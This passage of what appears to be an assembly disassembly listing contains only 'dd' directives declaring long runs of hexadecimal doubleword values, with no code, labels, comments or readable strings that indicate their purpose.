		dd 4523724Eh, 0D95DF0ABh, 0E7440399h, 0A6AFEF5Fh, 558D7790h
		dd 5361CE1Ch, 0AC5B584Eh, 4B51918Bh, 0DAFDC860h, 1C584800h
		dd 5BC4D8B7h, 0DCEF01BEh, 5F6174F6h, 0ECF37A8Bh, 0E311C500h
		dd 0AFD8A8DDh, 0DC5CA97Dh, 0C9085C26h, 9BEA55FAh, 2D407A54h
		dd 4A1827h, 9954358Eh, 572E8969h, 906F9106h, 123CDA40h
		dd 45585FDEh, 0AFD552ABh, 0B59D6560h, 3353891Fh, 0F3360221h
		dd 7DD33D62h, 0AF015E6Eh, 533F4F01h, 0CB395B9Bh, 12BE6E4Fh
		dd 4F06FEB1h, 4E988972h, 0F3BADD0Eh, 7B5A0DDAh,	14EBC6C2h
		dd 5A865E1Fh, 0DE793961h, 6B741CD7h, 675E272Eh,	80C82DDCh
		dd 81007179h, 360666CFh, 9D291D0Fh, 0ADDDA119h,	144AF3F8h
		dd 9DA197E7h, 3B60C6DCh, 0D2A05535h, 799D26A9h,	5DE6C639h
		dd 0C54F237Dh, 18567ACh, 0CDD53C13h, 60D4EF97h,	0D5D89E2Dh
		dd 0C741BC0Ch, 95C1EE3Eh, 10B57914h, 66C436h, 0ADEB7C1Fh
		dd 59BDAECEh, 0C7874F12h, 905856F3h, 34C12077h,	17FEF948h
		dd 7BBEF1B5h, 0EE212578h, 1C4D9F1Bh, 4CFCE845h,	1803085Ah
		dd 4A60960Dh, 0C22B7100h, 9EDA00E0h, 69DE476Fh,	9A099250h
		dd 0DC5E5911h, 0D046AF67h, 4754CB0Eh, 0DE811F2Dh, 830F965Bh
		dd 806DF23Eh, 0AED9F8DDh, 0BD9F3856h, 0B7B1FF28h, 0DE60706Fh
		dd 3948E4C6h, 0A05EB5B2h, 0E5950884h, 0D6A4ACF3h, 1C0E5100h
		dd 0A22D29ADh, 0E2FC564Fh, 48616C67h, 974CD82Dh, 40E80319h
		dd 39E9B77Ah, 2AFC8F02h, 0D950C736h, 3BEF008Eh,	0B59AFEF2h
		dd 0FCD08A00h, 0FA2CAF95h, 0D6832656h, 57B2599h, 71095B24h
		dd 58965711h, 0AF19A921h, 0F900FBB7h, 22BB1079h, 0E6B508CEh
		dd 203FAD5Ch, 50B972Bh,	0FD407E56h, 738149h, 4D5212E1h
		dd 74FF946Ah, 7C204E00h, 37F8DB9Ah, 22A0D3F7h, 4E575F1Eh
		dd 12CD256Dh, 69DB9557h, 5C5C9A75h, 0A1BB6748h,	0D4292518h
		dd 6A392232h, 457F6231h, 91F84507h, 0A1860E12h,	13ED2046h
		dd 0AFC768h, 3BE0694Eh,	22589EADh, 0E34BD5Fh, 0F899704h
		dd 7C7321BBh, 0BCA614EEh, 0FFDDF8E0h, 4EC8075Ch, 8AC47FADh
		dd 0FF75AFD9h, 86A0E1B6h, 770B345Fh, 253F960h, 0B17EDAFh
		dd 0CF595B09h, 10565444h, 96809F09h, 0C4C383BFh, 1D30A4Eh
		dd 0C856948Dh, 5A009BEBh, 52662108h, 9D943B79h,	3ADA0E8Dh
		dd 9B0E13h, 80728B85h, 0EF9756B5h, 95291E05h, 0ED280331h
		dd 0D79AA2F5h, 381F1F3Ah, 71F5F389h, 1AC1004Dh,	0CCFBAFFh
		dd 0F14EA705h, 3C24B41Dh
		dd 0B7CB0BB8h, 512D9278h, 0C4ED7119h, 71F8492Dh, 0E38089E5h
		dd 0F3DC7989h, 9364AF4h, 3DD7D8CAh, 801D91C6h, 6DECDE80h
		dd 147703A0h, 36CD478h,	2D21DE20h, 0A1707DE9h, 0A7795A9Bh
		dd 259D7F0h, 0F1B738Fh,	387F1089h, 7D837BAh, 0DA0CF444h
		dd 83427922h, 1D4A1AF2h, 9A2BCCB1h, 0C714C8DFh,	6461CEEDh
		dd 22441C82h, 90312574h, 934792h, 838EB0D8h, 5579A4CEh
		dd 0A7ED9204h, 0D9EB5209h, 80DA6E21h, 5C2EEC81h, 0BBF7FCD5h
		dd 79C54018h, 95FD8A4Ah, 3D295E89h, 1CE83D55h, 9D788079h
		dd 8A71D186h, 7D6282B7h, 47A19001h, 4B2D761Fh, 9FFDFD51h
		dd 120DF148h, 89E9E05Fh, 2515BD26h, 78FB8B8Bh, 0B0D94BFEh
		dd 0BF0FF9F3h, 6F89DDFFh, 0C9AAD261h, 0EDBCA704h, 33B0C0A5h
		dd 2B75B609h, 3FDB6A5Ah, 0CD304FC0h, 3B0CFD01h,	9E986EE8h
		dd 0FA224AADh, 168A9B9Bh, 0F57B4130h, 0A9549B69h, 12DAB3F3h
		dd 0F2044510h, 15F9D716h, 66015AA8h, 0F9DE70BBh, 0E27DD1FFh
		dd 949780B8h, 419B450Dh, 10E39F3h, 0D95B026Ah, 0EA394AC0h
		dd 0C0025297h, 0F696CCBBh, 0AB81D717h, 63505569h, 19B100C7h
		dd 0F385CE32h, 0FD8C00FBh, 918B5298h, 6B127DBBh, 10ED4E9Eh
		dd 68B002BCh, 16975170h, 0DF4DB5F8h, 9A84C540h,	7A20E753h
		dd 0E94B0EBBh, 0EF6B7601h, 51710A5Eh, 0C72BAD25h, 0DA5E09D4h
		dd 31AC4E9h, 8839180Ch,	5F82AA69h, 50DFAD48h, 0BD0923B6h
		dd 4B7A7123h, 1A0035C4h, 0F1BF5FF7h, 0EFF123Ch,	0CBD5D162h
		dd 1557B129h, 0C1C7655Bh, 2E18E523h, 0A92DA92Dh, 5465DCA8h
		dd 4EAB6AE0h, 8A86609Bh, 0F9092701h, 0AB698509h, 2682DFF4h
		dd 3DDD22A9h, 305D00B3h, 40211A2Bh, 2758500h, 86B3E381h
		dd 0AD734833h, 0E6B7A712h, 9107369Ch, 813D77FCh, 0C67FC2B0h
		dd 9C8295E8h, 81202D8Dh, 7C521F3h, 71E41867h, 0BE7F61BFh
		dd 0A6492E5Ah, 0E06D5EDCh, 1BB2BE73h, 0C8209A03h, 0B155B151h
		dd 0E170715Ah, 0F595158Bh, 5B258514h, 0B656BCC2h, 219D0140h
		dd 0C3EA9527h, 4200FE57h, 0D25C2BF9h, 0DC227113h, 1C46D1h
		dd 0DE69B4A8h, 431D261Bh, 10414F00h, 0E96CBD13h, 0FE27D787h
		dd 0BB57CC33h, 0BD0D7080h, 5A56BA8Bh, 8FE35017h, 6B0C64Ah
		dd 86DD2BE1h, 6580386Ch, 983655A5h, 773F81EAh, 904C253Fh
		dd 82292D25h, 0DA498661h, 8251AB5Ch, 0EAA44C38h, 222B2A9Dh
		dd 81201EAFh, 7CF992DBh, 0A7309740h, 68A39589h,	3710C12h
		dd 1253CAABh, 6FAA2C9Dh, 0D80809A3h, 0DED1546Ah, 0FA2E2200h
		dd 8984A2E0h, 48700033h, 4711EB81h, 0AC905E2Bh,	9D29895h
		dd 0D1961B5h, 0C20F9EB9h, 8878387Bh, 950297F8h,	0CB7F8D01h
		dd 159BBDF7h, 837EEBC3h, 0EB774597h, 2CDDFDC1h,	50BD1C04h
		dd 2B61092Ah, 0C9664DC0h, 1C2018FFh, 12F7627Ah,	6DE88595h
		dd 978D22Bh, 7329692Dh,	0FC8A6290h, 5A881260h, 0F74C2997h
		dd 0CE80A4B7h, 23DC6A45h, 0A9C013B3h, 70E1BCCBh, 5652039Eh
		dd 24FB4B4Fh, 0B82ECE71h, 19BBC244h, 22E5D52Fh,	0C3AB54DAh
		dd 38839690h, 0C33175B7h, 0BE382F7Ah, 118ACB5Bh, 0BB047C22h
		dd 1B4F5987h, 0E66FF0E5h, 0A107F050h, 8A061275h, 80ADF8FEh
		dd 0EA1419FBh, 0AC820064h, 570C5FCEh, 9A02F7EFh, 8188C184h
		dd 1CECD5BCh, 9784C77Eh, 0B3076435h, 0D6426FDAh, 93045F69h
		dd 3C0B122Ch, 3EAB0259h, 510F5CFCh, 0DC68A5E1h,	0E8F8DE9Ah
		dd 58B55171h, 2D949528h, 65A5AEB4h, 648A1F25h, 0F795F669h
		dd 0D4DC0C3Ah, 60991C05h, 2AAC65D4h, 0C9852904h, 9DE3BA12h
		dd 3CF07543h, 0C564035Ah, 2EB9FA5Ch, 425D735h, 1F235DA8h
		dd 57BC8813h, 0B824C9C4h, 56A6B52Eh, 0A89146A0h, 4B0DFC02h
		dd 5462B752h, 24044290h, 823A2271h, 0C25D8436h,	51575412h
		dd 0C0A83C6Ah, 0D25A0556h, 2C80FCB3h, 257E752Ch, 68037E71h
		dd 0F5A79B1Fh, 2B0498C2h, 20953558h, 7768E0D6h,	0D7C3A07Fh
		dd 319E5F91h, 2BF98AABh, 4AFCBA33h, 0E907A462h,	5B022038h
		dd 82C0489Bh, 73924BCDh, 0AEBFC800h, 606FFE5Ch,	40E1B829h
		dd 73ED2B18h, 24B95EEEh, 1F8937ADh, 0CFDDD5B0h,	7EA1CE81h
		dd 0ED7F9F79h, 0CF584C7h, 0DBD6D9ADh, 4BC09D24h, 0BA893D10h
		dd 0DA3C4A29h, 0C114C8F2h, 299531D7h, 0EE944AAFh, 0C5E973E9h
		dd 77E73A84h, 39D7B8A0h, 9783D3Ch, 5C9FEA71h, 889C2ACh
		dd 0F3815120h, 0DBFF1880h, 446584Dh, 2778999Bh,	60BB095Eh
		dd 0A209E64Ah, 4C0021F9h, 3B587D56h, 0FC421C65h, 5A2EC4EFh
		dd 8C75C196h, 8129AA02h, 0FEDAC2A9h, 188044B5h,	595365B2h
		dd 952F9A15h, 81FC5198h, 0AD4BCF00h, 4F687578h,	0D04D32F3h
		dd 0BF48D92Ah, 0D12710B0h, 4038F82Fh, 9D178912h, 2DAF32ADh
		dd 0B0B82666h, 349469h,	0B588356Ah, 0FABFDA70h,	4250EE02h
		dd 0F5FB8B90h, 0B35ADC42h, 2DD93EF9h, 477108A5h, 579014B2h
		dd 14919635h, 8D290D80h, 0ED9231E1h, 0C0579295h, 0F30A44h
		dd 0C62914F6h, 47BAC7CDh, 8D62A30Fh, 0C3F13712h, 0B444B82Ah
		dd 0E69A504h, 2CE319ACh, 10A6244Eh, 3855BFF0h, 4F525400h
		dd 3EB2F386h, 0B712A0E9h, 0EC9D957Dh, 29E94072h, 0C49C9513h
		dd 1F047320h, 29ACBB66h, 46262A3h, 0A70BCE5Bh, 2F5DF346h
		dd 1664CCEDh, 0A6FF3660h, 0E9B75009h, 0D6075C5Fh, 9F251C46h
		dd 2C45007Dh, 90AC6127h, 19112D16h, 0FC838873h,	5A08800Fh
		dd 0D1CFA03Fh, 555B02FBh, 1591E0B5h, 7C7D9B86h,	0B0227920h
		dd 0DDF96975h, 504B5366h, 4200AAA2h, 0F78E9C40h, 38FB5B73h
		dd 0B43680CCh, 99242Fh,	0F43D9DD9h, 9B258D47h, 3E84D54Ah
		dd 8548DBBEh, 0C1BECB8Ah, 52E41DDh, 21119681h, 0C3D2AC7Dh
		dd 1B2F497Fh, 55DB5C5Bh, 0E582A03h, 4D7180A5h, 0FBE74A07h
		dd 0D6641F24h, 0F80C7BCh, 2290E1C1h, 0DFB64517h, 0D5A02CBEh
		dd 0EAB7175Bh, 75E56DA0h, 0F05F6204h, 0CFAC7BF6h, 0C5959E5Eh
		dd 0FECC10CEh, 0AA342554h, 1E4BE67Fh, 569C6D30h, 5B69B74Eh
		dd 2C804EDAh, 0F951C0CBh, 9DB12900h, 7CCEBFC5h,	8C89E0Fh
		dd 0C2970479h, 0D309D2BCh, 0FD586DDDh, 0CE922h,	0F3C49353h
		dd 5C951388h, 8CE5AA05h, 80BC2907h, 4AE88B4Ah, 6E8048DAh
		dd 0BE23F9FBh, 3429E21Ch, 0D88BA685h, 0F8F998EBh, 0B76A612Dh
		dd 0C82D9256h, 3F00D7FDh, 22E4506Bh, 0E0EB51h, 0CEFB25ADh
		dd 2B42DAACh, 7CEA4C24h, 0F6595CA7h, 82CC283Eh,	0AADF3BEFh
		dd 5937F31Bh, 2560181Bh, 0EA57F7D8h, 809AFD3Fh,	64800B55h
		dd 0ABDC001Fh, 0CFA0D524h, 9D04BF12h, 5B225539h, 8A4B04AEh
		dd 42E2AFF8h, 0A7F7B941h, 2AAEDE45h, 4A3A829Fh,	695B5CA8h
		dd 0C45F711Ah, 8A404B25h, 9F4B223Ch, 60E3761h, 0B2AED3B3h
		dd 1D690193h, 5F8249BCh, 3E1C8FCh, 0DEBF6659h, 0D7275B4Ch
		dd 0DCEDD496h, 0C5D66700h, 0A9B7B614h, 19D1303h, 2B87290Dh
		dd 1DC13034h, 12591F6Dh, 605AC6A5h, 5A425BB5h, 505F7F3h
		dd 77F88B60h, 0F704DD94h, 0B861F458h, 7F73A230h, 278088BDh
		dd 0C5758679h, 0C24A4FF1h, 165712F9h, 58399B3Ch, 0BC27BED5h
		dd 0FC694357h, 0BAC65B05h, 0FF25347Ah, 60B376C5h, 0E904C451h
		dd 5851B8D0h, 25792F8Bh, 6EBEC11Ch, 0AB1C093Ah,	8F3772E4h
		dd 0C0365EAh, 899199AEh, 0C7C119ECh, 0EEB26090h, 4CD3CA20h
		dd 0D93DDE61h, 12306EDEh, 8FA86D06h, 0E1BD33C2h, 7C20CA7Fh
		dd 0DF2EDE83h, 0DC23B5A1h, 0A1402CD1h, 952D2E7Bh, 527A18F3h
		dd 251DB01Dh, 1FD70225h
		dd 0BB0AF94h, 56017683h, 70B07A77h, 2C309C0Fh, 0C9CB50C7h
		dd 71BB1C52h, 5A16CF85h, 0DBB0BEA2h, 1ECECF8Ah,	0B29E7EC7h
		dd 0F690573Ch, 0CC4EE0E0h, 25720149h, 4B24910Ah, 775ECCBBh
		dd 7AF74D4Fh, 18CF86A0h, 74E46201h, 84F8B25Dh, 309C122Fh
		dd 718D8949h, 5427D6BEh, 1846D6D2h, 0AD92545Ch,	0CA1CAD8Ah
		dd 6D0900E8h, 852AF1Bh,	7BE943A9h, 5BCBA7E3h, 0D90CA4D7h
		dd 4503206Dh, 6A741792h, 4BDC26BEh, 0CCA6D80Ah,	0D7811A00h
		dd 110B1D72h, 0CCD3B790h, 32ECD500h, 1AC1283h, 27D7E63Eh
		dd 495D1A2h, 30AFBFD4h,	0D2B06008h, 5B1B5262h, 0AC6E7561h
		dd 0C40E2921h, 0BFAA8585h, 1B09A96Fh, 100962DCh, 24566B89h
		dd 1846F6h, 971C384Dh, 0ACF8164h, 36AABB1h, 498F2E93h
		dd 0CA667Fh, 376F0E22h,	3315EBE4h, 0E335905Ah, 5CC0BBEh
		dd 9D771C57h, 0FB00C4B5h, 35D1C242h, 8A6012CDh,	148788C1h
		dd 8395C800h, 42FA809Fh, 721398Bh, 172661A4h, 0AD6BC451h
		dd 0D46089ADh, 158840BFh, 6F01F232h, 847FBB2Bh,	0F56B5194h
		dd 0A0342B40h, 0CD89A987h, 275C23Ah, 5983045Fh,	4B8A65E0h
		dd 316298DAh, 9C2AF989h, 9417529h, 0BC44B46Ah, 70E6E213h
		dd 44D119F0h, 7105E411h, 24F9BD0Bh, 430CCEBh, 35665BD3h
		dd 10352528h, 311D1073h, 20C6A6A3h, 0DF925A5h, 0BF61215Ch
		dd 132EA7EBh, 39900C5Eh, 0C84A2B87h, 5208C8EBh,	18978BEEh
		dd 6CE9D143h, 0B93A11BBh, 25801840h, 53C0CBEBh,	49024755h
		dd 4F9EE381h, 9DE781B5h, 252E26F9h, 81BB9359h, 0D10C1562h
		dd 0B961041Fh, 80298867h, 9D035360h, 28CF150Dh,	0F6B7E059h
		dd 9572E961h, 280B4FBh,	1FE3CBCDh, 8E884BD3h, 71CD4AFDh
		dd 0BBCE243Fh, 0FBA0E9BDh, 2C3E37A7h, 0DD4E262h, 0B85F0407h
		dd 94344F7Eh, 552B70EBh, 17043396h, 0DE930DD4h,	74AB67C4h
		dd 458CAD31h, 0BFC27AA1h, 508C5C23h, 181ACA8h, 2ED1E13Ah
		dd 0EF8110ECh, 0F48BEC1Bh, 73953339h, 0DB22B02Fh, 0B9182CB5h
		dd 0B7AB0FA0h, 380B97FEh, 0DC9AD6h, 0BF99A46Eh,	795C49E7h
		dd 7432FC48h, 0C02B9B17h, 7B80119Bh, 39EA62Ch, 18BA6925h
		dd 9524FD40h, 0FBEBB35Bh, 36C850B6h, 14795520h,	0E19483D7h
		dd 44C2FB25h, 9F41754h,	0D42F64DDh, 0F1D5F704h,	11A63AF4h
		dd 0CE3114B2h, 7F66202Ah, 0DAF8A367h, 0BA2A7804h, 9D845F4Ch
		dd 0FF2564B3h, 507A73C6h, 0C9E978EFh, 5A57715Fh, 0A6DE8904h
		dd 8031E02Ah, 8A274B5Ch, 4B713850h, 548996DEh, 0EF5A718Bh
		dd 71DAECC9h, 52102770h, 0AD07BD5Ah, 91D96520h,	3208802Eh
		dd 4CEEB47h, 1C1EA7DCh,	0C5E2BADDh, 0A864F993h,	13F7D8Dh
		dd 17D2F689h, 619548BDh, 45282BF7h, 0F7044AB5h,	5A16A0C1h
		dd 87E001C5h, 0C878688Eh, 0E865EC81h, 0C5477E25h, 6F991A4Dh
		dd 305A382h, 0EF120964h, 58E2E271h, 18044B84h, 9724C225h
		dd 12A83755h, 49F2AEC6h, 0DEBAA04Ah, 95572797h,	0F9740714h
		dd 0C33A81Dh, 72A8573Fh, 10F119E0h, 97C040BBh, 1BF5F23h
		dd 529BEE85h, 0DBEB22C1h, 0E849CE0Bh, 248B6B26h, 0E446A4Fh
		dd 0C17E4880h, 0D7664C67h, 5D6F9141h, 23A06B2Eh, 0E3EC1215h
		dd 0D7102592h, 0BB5D9A48h, 154AB901h, 0AF4668FCh, 0BAD5007Fh
		dd 63C40C16h, 1F9E1CA8h, 41092400h, 0E185A48Ah,	87CC046Ch
		dd 0EBE8207Ah, 8BC53724h, 6ADD49BAh, 9DE1B5Eh, 1ACF3866h
		dd 979AE455h, 4452C0FEh, 90810E81h, 1E202082h, 500F8747h
		dd 0E256522Dh, 6D46DD92h, 55585A27h, 0AF52BA11h, 0C0A29AF2h
		dd 6439BDh, 10E098CBh, 0AD053BB8h, 0D0712EE8h, 615B021Ch
		dd 0DA38B96h, 415F3900h, 0B7FBCC80h, 1AA4F101h,	0C49BAE44h
		dd 922DEB2Bh, 5BD6E2Fh,	7A4EEEE8h, 0D2AF9AEBh, 7C3526D8h
		dd 26BC0960h, 35D7F88Bh, 95169134h, 0D78002F0h,	7EAFE923h
		dd 4F942EAh, 46D38100h,	377F2551h, 0BB1347E6h, 0C113143Ah
		dd 7A9BCDAAh, 0FD2D2CE6h, 4700C89h, 60366F95h, 59ABDF65h
		dd 0AAD83D13h, 0D5E51617h, 0AA6BB82Ah, 0BF225207h, 0F39AD05Ah
		dd 232DF86h, 5F89E566h,	8AE0E9EDh, 467B89Ch, 8BCF8F02h
		dd 0C83BDBFCh, 0BFF8C215h, 501D275Eh, 0D2996942h, 317D543Ch
		dd 2EA5A7B4h, 7BAECC13h, 0EB1A0041h, 0F88C28B3h, 0F95301CEh
		dd 6E215F68h, 2D33613Eh, 7AE25A07h, 66F9C401h, 3ABA397Ah
		dd 1A018E4h, 33E7122h, 2E116DBDh, 8250F272h, 912D9E5h
		dd 0DE4D5172h, 3BB64B4Ch, 0D7AC01E0h, 5E92F595h, 0D5407F7Eh
		dd 9EF2F45h, 0CDEE79FFh, 92EFC92Bh, 25977360h, 5B39095Dh
		dd 94C42A60h, 7E6B9D05h, 64FF8903h, 0B5BB8039h,	71952705h
		dd 12C4EB99h, 8D24102h,	5CBE3229h, 2B56514Ch, 79B084F7h
		dd 2D141860h, 10C325DBh, 0E91A03F1h, 0CD772645h, 0B873E4DBh
		dd 1FB88094h, 9EBA35Eh,	0F352109Ah, 25D71979h, 59D3AF09h
		dd 282FA471h, 4706A32h,	791A73BFh, 22F82E03h, 0A888AA4Bh
		dd 6CCE09BBh, 0D160AC4h, 7AAF324Ah, 98CC054Ah, 0E1F3422Bh
		dd 3A04813Eh, 0AC123E6Fh, 9524209Eh, 56D4235Ch,	0E9009818h
		dd 3222E5Ah, 0C9749529h, 827A3A97h, 5D082D98h, 0B549F771h
		dd 5CF282C7h, 0D7E00EF9h, 0F242270h, 0E649DA8Dh, 12FD95AAh
		dd 923AF09Ch, 0BF8B8CB2h, 5C99C2h, 29907769h, 4100F427h
		dd 16C87F4Fh, 959DD9Ah,	0EF5E332Fh, 23FBD482h, 2E09C5D5h
		dd 0BD00D443h, 0DBE919C6h, 16741861h, 0F6870F56h, 4944B43h
		dd 263DDD05h, 57D970ABh, 9A09FABBh, 185F04A4h, 13B4BE0h
		dd 400760AEh, 387301EBh, 70F5C983h, 774D979Dh, 0FD10FFC9h
		dd 0E8253E56h, 0CB3D152h, 2F4EA747h, 99747000h,	0F4B48549h
		dd 6A87003Ch, 0CF2C7206h, 4ABD9D29h, 0B98257BEh, 0ABCD2050h
		dd 421D0AE2h, 0A44C5FD5h, 59175B9Dh, 58A1819h, 3FC86E58h
		dd 59AC3052h, 0DC07DFC0h, 0A99E8C06h, 96F370C9h, 4748F6AAh
		dd 61A6C03Eh, 3BFA897Dh, 25013E81h, 0FDB28027h,	498C2B2Eh
		dd 0E1BD2223h, 196A5B26h, 8DA10BF4h, 0BB026B4Fh, 70926E1h
		dd 0DD093D56h, 0A6C08F15h, 0DB6259h, 31727DE0h,	0CB812EC7h
		dd 0FF2589E8h, 642BED60h, 0EA6C6115h, 2FBB36Bh,	4427A5BFh
		dd 2CE2D763h, 80B7B7DDh, 6071FAD9h, 0F497B523h,	7261134Fh
		dd 2A818B23h, 2B21E780h, 9876749Dh, 492886A0h, 0DE97060Bh
		dd 2E2998F9h, 0A85099Fh, 3B7981F1h, 7BBE5C45h, 0F1700064h
		dd 23D0170Fh, 0E65B2587h, 6D2A0B78h, 0DABEA13Dh, 7F7D03DCh
		dd 2657CDD6h, 189567C0h, 906CB981h, 1A2DEB82h, 7D7A4C5Eh
		dd 3A019244h, 496C0CA6h, 0B93A1252h, 20B184B9h,	0E570F6AAh
		dd 4903A1E6h, 359D2101h, 0A24ABC9Ch, 95336C4Ch,	494A30DDh
		dd 31BA9725h, 0AB091960h, 1263469Dh, 0C2219D2Bh, 3DDFC683h
		dd 0E42E0178h, 0DC170830h, 654BA233h, 0F74A23CBh, 0A7113165h
		dd 132F29E9h, 0E04AA629h, 880BE81Ch, 0E4002779h, 0E09C52DBh
		dd 2FBC9634h, 12905618h, 37015724h, 0E2C54C5Ch,	0D6D0085Eh
		dd 0EC5204CBh, 0FACA55E1h, 1EE5884h, 8B0884BFh,	0E79B2FC1h
		dd 0F81A3081h, 0E10C0BAh, 0EA81F01Bh, 7D80B521h, 4F958914h
		dd 7F2DF939h, 4F1960F3h, 0A72D3D3Ch, 69C4FB50h,	58065551h
		dd 511AC22Bh, 0BC84A4F0h, 0BF5A4D38h, 809DDCACh, 33C50B7h
		dd 3A7681D0h, 84194565h, 0D82D58F4h, 0D9E90AACh, 8B894CDCh
		dd 0DDCC82C8h, 4003012Bh, 0E24FBB3Ch, 704A5C2h,	12589F8Bh
		dd 5802CE5h, 0FCF9A4F8h
		dd 0D103330Ch, 0F578F120h, 12C408F6h, 640218F5h, 6D81058Fh
		dd 6C04C483h, 8B5184E8h, 8110F580h, 14B051A9h, 3359B582h
		dd 9841C3C0h, 4C66DA11h, 0BA2E2445h, 0D268BA30h, 0D49A25A7h
		dd 20EA6DDDh, 8208D0FEh, 8BA7C77Eh, 5EE56ED3h, 81D5003Eh
		dd 38045AE3h, 89F57E1Fh, 0BF2472AEh, 152C01F6h,	74B3F74Eh
		dd 6A807C12h, 211A39Fh,	0C74B727h, 2021A03Fh, 139F5FE4h
		dd 0A2A780F2h, 0D26B0151h, 0E6FF763Ah, 8CEFC806h, 1B041127h
		dd 0FB314E1Fh, 4B12266Eh, 9D73FC34h, 5B5C7400h,	4F28165h
		dd 142B4F28h, 0F49AEA58h, 7CC414C8h, 0DCD9AEC3h, 75F325h
		dd 0F4EBC08Bh, 1319FD8h, 0DD726174h, 0FCB1BB3Eh, 3F00BE4Fh
		dd 0B45EC7E9h, 3A88F83Bh, 3101D45Ah, 0F4A7F1B2h, 5584E4EDh
		dd 0BC52B619h, 2184EB08h, 0C0F4AF18h, 0E4BFD577h, 0BA969001h
		dd 59FFE63Fh, 83825191h, 0CFEBF4A1h, 40E7C4E8h,	1EF4A912h
		dd 1BE979DFh, 48D98E37h, 20019BF3h, 92AA455Ah, 6898FEF9h
		dd 7D98217Eh, 18A36E36h, 0F8D10D28h, 0E308A11Ah, 696294A0h
		dd 4A7960F1h, 0EA484C00h, 0FCFD33C9h, 422001E2h, 2A0730B7h
		dd 0FA508FD3h, 0E0699B75h, 80ECAA27h, 7071852h,	0BCAF0887h
		dd 8CF4AEC2h, 40362874h, 38005CFCh, 7013461Ch, 1B02299h
		dd 7E0AB654h, 0F8A68AABh, 0B9002D82h, 0C1654571h, 729DBAh
		dd 0EFFD254Eh, 0C0314DEAh, 0CA164100h, 0BC0C7673h, 426000A7h
		dd 3E486E12h, 3100B33Bh, 7A53DBFDh, 4B3F88h, 0F3C04E85h
		dd 0B9255466h, 86786CF8h, 0B2F99800h, 0D109F119h, 72520CEBh
		dd 2020CDC8h, 0FAD2BC03h, 0E839378Bh, 18C07862h, 82A657FBh
		dd 9119C746h, 5D326C53h, 231AFCh, 76E2B5F7h, 0BB3A2694h
		dd 704C1B36h, 8EC10C0Eh, 208148D3h, 0D05079DCh,	0F3114101h
		dd 8FCC51F9h, 61EDDF10h, 6B82958Fh, 93185082h, 84002080h
		dd 0BC6D2h, 67AF6ABCh, 0DA7751BFh, 72B50A00h, 83F1DDE6h
		dd 0D7ED00B1h, 2F01A8DEh, 1E00C01Fh, 9E8D3AB6h,	3C604E9Ah
		dd 953BF9F7h, 61074D05h, 3D902055h, 640C9736h, 0D82D1069h
		dd 135940C6h, 2170F50Eh, 91748CC8h, 3C2F37BEh, 0D2408FD9h
		dd 0EF507C9Eh, 0E8BCC831h, 6801E529h, 7BE28010h, 0B4AC823Ah
		dd 7B8577B8h, 4241C0A5h, 0E131B1E7h, 3B557C18h,	0CFBE91h
		dd 2369E05Ah, 3A46BD72h, 67279800h, 0DF6B1CA2h,	450B16B8h
		dd 0C01D1F25h, 0C12C9B6Dh, 1F1D0790h, 0F2243949h, 0B164C500h
		dd 0C73BF94h, 4BA65D50h, 21C0CA08h, 0C7B15CFAh,	0B7390010h
		dd 4E2FEAC8h, 0E0776452h, 1E502164h, 0C3B16560h, 117BBF23h
		dd 0FB3DCBh, 54D128B1h,	0C03CEB45h, 29C8A619h, 1B000D6Eh
		dd 8FFF4F1h, 1256B2Ch, 63DE4B7Ch, 80895FCDh, 0F558E030h
		dd 21C95Ah, 61700B6Eh, 0D0CF9025h, 0E4A03860h, 0AF6643h
		dd 80063C87h, 0B78A8E96h, 20CA1C30h, 7B1EA961h,	8820A704h
		dd 0C1C0D255h, 0E44EFA9h, 0F661EA39h, 540739D8h, 179983Dh
		dd 0BDAA5CBh, 8989DF3h,	9033215Ch, 0D4793Fh, 0CAEB3AB0h
		dd 0DE098FCCh, 6C75EE0h, 10162BE4h, 9C939B00h, 0A9B96FCBh
		dd 2A3A7C09h, 0F8B063F0h, 7AB00361h, 0CDF575E0h, 0D811AAD3h
		dd 341DC48Ch, 6B79318Bh, 2C39833Fh, 0E22D0864h,	5E166127h
		dd 520020BEh, 0DCC6066Ch, 291F9176h, 4159F6Bh, 0B15F80E8h
		dd 8C4BBF99h, 48E5C944h, 35014F57h, 766284BEh, 1E8FF072h
		dd 25200B61h, 80DC1A27h, 197DE090h, 830883Ah, 4921801Bh
		dd 6DDC1E02h, 4EE213BBh, 0B9A0038Dh, 200A7304h,	28907471h
		dd 8F771B47h, 0A86708A4h, 0C003488Eh, 1AA80960h, 81C60735h
		dd 2E5EEEE0h, 0CF172180h, 0C0CE26A4h, 6C5D85C7h, 84818820h
		dd 0E81501CAh, 0E0702BAAh, 4D0898FAh, 0E8CAB21h, 278EA4CAh
		dd 0DE73BB62h, 0A7CB5940h, 5F707F14h, 0BDF00AB0h, 5E113039h
		dd 14CA8580h, 448CA2E8h, 8D00AA4Ch, 9CBC4DCAh, 0AD53C88h
		dd 0BACF1686h, 80599158h, 0E819CA80h, 5B448C8Ah, 0CA88019Fh
		dd 0F0564092h, 2A0C2441h, 4DF1400h, 0C8484B80h,	6CEC00D5h
		dd 6D85DA57h, 0B412F970h, 24219035h, 81BCE645h,	0FC878E02h
		dd 0A4841D5Fh, 3F74986h, 249C75E6h, 1EDCFCB8h, 0C0DC8CB2h
		dd 0EA07A639h, 5AA5E6ECh, 3380DF2h, 21003048h, 0CF7C982Ch
		dd 1C26EF68h, 7EB6ED01h, 0E080276h, 5CA14BE6h, 0CF940060h
		dd 32BF110Ah, 5A11884Eh, 18CA429Ch, 543182E8h, 0CA899E10h
		dd 3066B803h, 98A8E642h, 1D0B2229h, 40EDD825h, 21CEFE8Fh
		dd 31358B35h, 0F808385Fh, 7996C088h, 9546CB63h,	31005822h
		dd 0FE7B798Eh, 49722Bh,	6C4CA57Dh, 932FE6EEh, 4434DF26h
		dd 6D244CA8h, 0CF8A1C37h, 467EF4C3h, 40340756h,	6A0012DCh
		dd 13517F79h, 0F36CFE4h, 4E00A62Ch, 0FA66E3CBh,	1921B090h
		dd 8E8C1172h, 9083E217h, 0D847E8h, 0A81E1F4Ch, 6B60F416h
		dd 0C4B3E681h, 6DD0A041h, 427912F3h, 56000468h,	2C081208h
		dd 0B160C003h, 5346BF98h, 0E600C122h, 405B158h,	3E1D68h
		dd 1B0B5FF1h, 0AA6A8886h, 15CEA200h, 0C75D65CBh, 0B6E0D0C0h
		dd 0FE8C350Ah, 74D4A4C4h, 0F004046h, 0BCBFC7BDh, 0F090877Ah
		dd 0AE741C90h, 60217432h, 8603240Eh, 5F00B19Fh,	68A7B084h
		dd 1FDFD7h, 0C2939D99h,	312A95AFh, 1A141179h, 0D3888D48h
